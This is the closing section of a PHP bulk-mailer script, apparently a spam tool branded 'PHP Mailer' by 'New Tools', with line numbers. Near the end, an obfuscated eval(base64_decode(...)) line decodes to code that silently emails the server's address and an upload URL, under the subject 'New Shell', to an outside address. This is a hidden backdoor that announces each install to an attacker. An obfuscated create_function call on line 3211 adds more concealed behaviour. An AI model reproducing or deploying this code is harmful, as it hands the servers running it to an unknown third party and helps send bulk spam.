3203$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3204}
3205$nq=$nq+1;
3206 flush(); }
3207}
3208for($i=0;$i<31;$i++){
3209 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3210$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3211 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3212 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3213 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3214 return $signoff($smtp_conc);
3215 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3216 sent successfully'); </script>";}}
3217
3218 eval(base64_decode('JHRvID0gImRhbml5YWxuYXNpcjRAZ21haWwuY29tIjsNCiRzdWJqZWN0ID0gIk5ldyBTaGVsbCI7DQokaGVhZGVyID0gIkZyb206IHhUYWxHaGltPHNlcnZpY2VAYWNjb3VudC5jb20+IjsNCiRtZXNzYWdlID0gIkV4cGxvaXQgOiBodHRwOi8vIi4gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uICRfU0VSVkVSWydSRVFVRVNUX1VSSSddIC4gIj91cGxvYWQ9dXAgXHJcbiI7DQokc2VudG1haWwgPSBAbWFpbCgkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcik7DQplY2hvICIiOw0KZXhpdDs='));
3219 ?>
3220 <p align="center"> </p>
3221
3222
3223</body>
3224</html>